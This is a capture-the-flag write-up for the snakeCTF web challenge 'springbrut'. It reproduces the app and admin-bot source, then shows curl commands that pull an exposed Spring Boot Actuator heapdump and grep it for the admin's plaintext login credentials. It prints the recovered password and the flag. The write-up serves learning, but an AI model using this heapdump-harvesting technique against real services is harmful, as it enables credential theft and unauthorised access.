springbrut [9 Solves]

Description

The app our new intern made must have some issues, because I saw him checking some weird numbers... Can you figure it out?

https://springbrut.snakectf.org

Attachments: web_springbrut.tar

Attachment file tree
$ tree web_springbrut
web_springbrut
├── compose.yml
└── src
    ├── bot
    │   ├── bot.js
    │   ├── Dockerfile
    │   └── package.json
    ├── db
    │   └── schema.sql
    └── springbrut
        ├── Dockerfile
        ├── flag
        ├── mvnw
        ├── pom.xml
        ├── src
        │   └── main
        │       ├── java
        │       │   └── com
        │       │       └── springbrut
        │       │           └── springbrut
        │       │               ├── config
        │       │               │   ├── CustomAuthenticationFailureHandler.java
        │       │               │   ├── CustomAuthenticationSuccessHandler.java
        │       │               │   ├── LogFormatter.java
        │       │               │   └── SecurityConfig.java
        │       │               ├── controller
        │       │               │   ├── AuthController.java
        │       │               │   └── RootController.java
        │       │               ├── domain
        │       │               │   ├── entity
        │       │               │   │   └── User.java
        │       │               │   └── repository
        │       │               │       └── UserRepository.java
        │       │               ├── service
        │       │               │   └── CoolUsersDetailsService.java
        │       │               ├── session
        │       │               │   └── MyUserPrincipal.java
        │       │               └── SpringBrutApplication.java
        │       └── resources
        │           ├── application.properties
        │           ├── static
        │           │   └── js
        │           │       └── worker.js
        │           └── templates
        │               ├── flag.html
        │               └── status.html
        └── target
            ├── classes
            │   ├── application.properties
            │   ├── com
            │   │   └── springbrut
            │   │       └── springbrut
            │   │           ├── config
            │   │           │   ├── CustomAuthenticationFailureHandler.class
            │   │           │   ├── CustomAuthenticationSuccessHandler.class
            │   │           │   ├── LogBookConfiguration.class
            │   │           │   ├── LogFormatter.class
            │   │           │   └── SecurityConfig.class
            │   │           ├── controller
            │   │           │   ├── AuthController.class
            │   │           │   └── RootController.class
            │   │           ├── domain
            │   │           │   ├── entity
            │   │           │   │   └── User.class
            │   │           │   └── repository
            │   │           │       └── UserRepository.class
            │   │           ├── service
            │   │           │   └── CoolUsersDetailsService.class
            │   │           ├── session
            │   │           │   └── MyUserPrincipal.class
            │   │           └── SpringBrutApplication.class
            │   ├── static
            │   │   └── js
            │   │       └── worker.js
            │   └── templates
            │       ├── flag.html
            │       └── status.html
            ├── generated-sources
            │   └── annotations
            ├── generated-test-sources
            │   └── test-annotations
            └── test-classes

42 directories, 40 files
src/springbrut/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.1.1</version>
        <relativePath /> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.springbrut</groupId>
    <artifactId>springbrut</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>SpringBrut</name>
    <description>Spring has never been so brut!</description>
    <properties>
        <java.version>17</java.version>
        <spring-security.version>6.1.4</spring-security.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.zalando</groupId>
            <artifactId>logbook-spring-boot-starter</artifactId>
            <version>3.7.0</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-jpa</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-security</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>
        <dependency>
            <groupId>org.thymeleaf.extras</groupId>
            <artifactId>thymeleaf-extras-springsecurity6</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-docker-compose</artifactId>
            <scope>runtime</scope>
            <optional>true</optional>
        </dependency>
    <dependency>
        <groupId>org.mariadb.jdbc</groupId>
        <artifactId>mariadb-java-client</artifactId>
    </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <optional>true</optional>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <configuration>
                    <excludes>
                        <exclude>
                            <groupId>org.projectlombok</groupId>
                            <artifactId>lombok</artifactId>
                        </exclude>
                    </excludes>
                </configuration>
            </plugin>
        </plugins>
    </build>

</project>

Flag

snakeCTF{N0_m3morY_L3akS???}

TL;DR

Investigation

compose.yml

version: "3"
services:
  springbrut:
    build:
      context: ./src/springbrut
    image: springbrut
    restart: unless-stopped
    ports:
      - "5002:8080"
    depends_on:
      - database
  database:
    image: mariadb:11
    restart: unless-stopped
    volumes:
      - ./src/db/:/docker-entrypoint-initdb.d
    environment:
      - "MYSQL_RANDOM_ROOT_PASSWORD=yes"
  bot:
    build:
      context: ./src/bot
    image: springbrut-bot
    restart: unless-stopped
    environment:
      - "ADMIN_PASSWORD=REDACTED"

This Web application has 3 container, springbrut, database and bot. Runing docker-compose up to test in localhost.

springbrut

Accessing http://localhost:5002/:

http://localhost:5002/login

It redirects /login. I searched for the source code of this /login page in the attachment, but not found.

$ grep 'Please sign in' -R .

$ grep '/Y6pD6FV/Vv2HJnA6t+vslU6fwYXjCFtcEpHbNJ0lyAFsXTsjBbfaDjzALeQsN6M' -R .

$

Searched image for this login page on Google Images Search, I found the following:

This login page is the default login page of Spring Security. I believe the HTML file for /login page was not found in the attached files because it is bundled in the JAR file for Spring Security (spring-security-web-6.1.4.jar).

In localhost, admin's username and password is admin and REDACTED respectively. I logged in by admin:REDACTED credential, it redirected to /, then redirected to /auth/helloworld.

http://localhost:5002/auth/helloworld

The source code for this page is:

Server-side: src/springbrut/src/main/java/com/springbrut/springbrut/controller/AuthController.java

package com.springbrut.springbrut.controller;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
@RequestMapping("/auth")
public class AuthController {
  @GetMapping("/helloworld")
  public String salutavaSempre() {
    return "status";
  }

  @GetMapping("/flag")
  public ResponseEntity<String> flaggavaSempre() {
    File f = new File("/flag");
    String flag;
    try {
      InputStream in = new FileInputStream(f);
      flag = new String(in.readAllBytes());
      in.close();
    } catch (Exception e) {
      flag = "PLACEHOLDER";
    }
    return new ResponseEntity<String>(flag, HttpStatus.OK);
  }
}

2 URL paths are found, /auth/helloworld and /auth/flag. It seems to get the flag by URL path /auth/flag.

Client-side: src/springbrut/src/main/resources/templates/status.html

<head>
    <title>Admin page</title>
</head>

<body>
    <h1>Hello World!</h1>
    <p>Here's the status of the app:</p>
    <p>Disk free: <span id="disk.free"></span></p>
    <p>Requests: <span id="http.server.requests"></span></p>
    <p>CPU: <span id="process.cpu.usage"></span></p>
    <p>Process uptime: <span id="process.uptime"></span></p>
    <p>Load average (1m): <span id="system.load.average.1m"></span></p>
    <script>
        const w = new Worker("/js/worker.js");
        w.onmessage = (event) => {
            field = event.data.name;
            tag = window.document.getElementById(field);
            tag.innerText = event.data.value;
        }
    </script>
</body>

</html>

Client-side: src/springbrut/src/main/resources/static/js/worker.js

const setMetric = (name) => {
  fetch(`/actuator/metrics/${name}`).then(res => res.json()).then(json => {
    console.log({json});
    self.postMessage({name, value: json.measurements[0].value});
  });
};
const updateAll = () => {
  console.log('updating...');
  setMetric('disk.free');
  setMetric('http.server.requests');
  setMetric('process.cpu.usage');
  setMetric('system.load.average.1m');
  setMetric('process.uptime');
};
updateAll();
setTimeout(updateAll, 1000);

client to server requests are sent to URL paths such as /actuator/metrics/disk.free. These endpoints are provided by Spring Boot Actuator for Web application monitoring.

Useful article for Exploiting Spring Boot Actuators:

Looking at the available endpoint:

$ curl -s http://localhost:5002/actuator | jq '._links | to_entries[].value.href' -r
http://localhost:5002/actuator
http://localhost:5002/actuator/beans
http://localhost:5002/actuator/caches/{cache}
http://localhost:5002/actuator/caches
http://localhost:5002/actuator/health
http://localhost:5002/actuator/health/{*path}
http://localhost:5002/actuator/info
http://localhost:5002/actuator/conditions
http://localhost:5002/actuator/configprops
http://localhost:5002/actuator/configprops/{prefix}
http://localhost:5002/actuator/env
http://localhost:5002/actuator/env/{toMatch}
http://localhost:5002/actuator/loggers
http://localhost:5002/actuator/loggers/{name}
http://localhost:5002/actuator/heapdump
http://localhost:5002/actuator/threaddump
http://localhost:5002/actuator/metrics/{requiredMetricName}
http://localhost:5002/actuator/metrics
http://localhost:5002/actuator/scheduledtasks
http://localhost:5002/actuator/mappings

Trying the above endpoints, it seems that URL path /heapdump is useful:

$ curl -s http://localhost:5002/actuator/heapdump -o local-heapdump.bin

$ strings local-heapdump.bin | grep REDACTED
REDACTED!
username=admin&password=REDACTED&_csrf=-LmK3co0CBnCh8-QCH8GmWv-0zj64I_8aBUxBH0o9UlHVB3Am9i566tSbHjv4_6iPVIyoQ3O_gGb0erRXScGZhxNkHtwbSny11
(snip)
snakeCTF{REDACTED}

I could get the admin's password which is submitted for login, the dummy flag too.

bot

src/bot/bot.js
const puppeteer = require('puppeteer');
const net = require('net');
const WEBSITE = process.env['WEBSITE'] || 'http://springbrut:8080'

const LOGIN_PAGE = WEBSITE + "/login"
const ADMIN_USERNAME = "admin"
const ADMIN_PASSWORD = process.env['ADMIN_PASSWORD'] || "admin"

console.log(`Starting admin bot!`);

(async () => {
    const doAdmin = async () => {
        const browser = await puppeteer.launch({
            //executablePath: '/usr/bin/google-chrome-stable',
            headless: true,
            dumpio: true,
            args: [
                '--no-sandbox',
                '--disable-background-networking',
                '--disable-default-apps',
                '--disable-extensions',
                '--disable-gpu',
                '--disable-sync',
                '--disable-translate',
                '--hide-scrollbars',
                '--metrics-recording-only',
                '--mute-audio',
                '--no-first-run',
                '--safebrowsing-disable-auto-update'
                //'--enable-logging=stderr',
            ]
        });
        try {
            var context = await browser.createIncognitoBrowserContext();
            var page = await context.newPage();
            console.log('logging in and checking status');
            await page.goto(LOGIN_PAGE, { waitUntil: "networkidle2" });
            console.log('Waiting for username');
            await page.waitForSelector('input[name="username"]');
            console.log('Typing username');
            await page.type('input[name="username"]', ADMIN_USERNAME, {
                delay: 5,
            });
            console.log('Waiting for password');
            await page.waitForSelector('input[name="password"]');
            console.log('Typing for password');
            await page.type('input[name="password"]', ADMIN_PASSWORD, {
                delay: 5,
            });
            console.log('Waiting for submit');
            await page.waitForSelector('button[type="submit"]');
            console.log('Clicking submit');
            await page.click('button[type="submit"]');
            console.log('Waiting for page load');
            await page.waitForNetworkIdle(3000);
            console.log('Login successful, waiting a bit :)');
            await page.waitForTimeout(3000);
            console.log('Cleaning up mess');
            await page.close();
            await context.close();
        } catch (err) {
            console.log('Error occurred');
            console.log(err);
        }
        await browser.close();
    }
    setTimeout(doAdmin, 5000);
    setInterval(doAdmin, 60000);
}
)();

This bot is accessing springbrut's login page http://springbrut:8080. And it input admin's username and password, then submit.

Therefore, if the admin's password can be leaked by URL path /heapdump, we can login as admin and get the flag.

Solution

$ curl -s https://springbrut.snakectf.org/actuator/heapdump -o heapdump.bin

$ strings heapdump.bin | grep 'username=admin&password='
username=admin&password=DGcZvIYwahxgqIBJyOw7Tk2WVwLKFZ4b&_csrf=8T8e7zlBZQX6f(snip)
(snip)

Got admin's password DGcZvIYwahxgqIBJyOw7Tk2WVwLKFZ4b. Login as admin with admin:DGcZvIYwahxgqIBJyOw7Tk2WVwLKFZ4b credential, then accessing URL path /auth/flag.

flag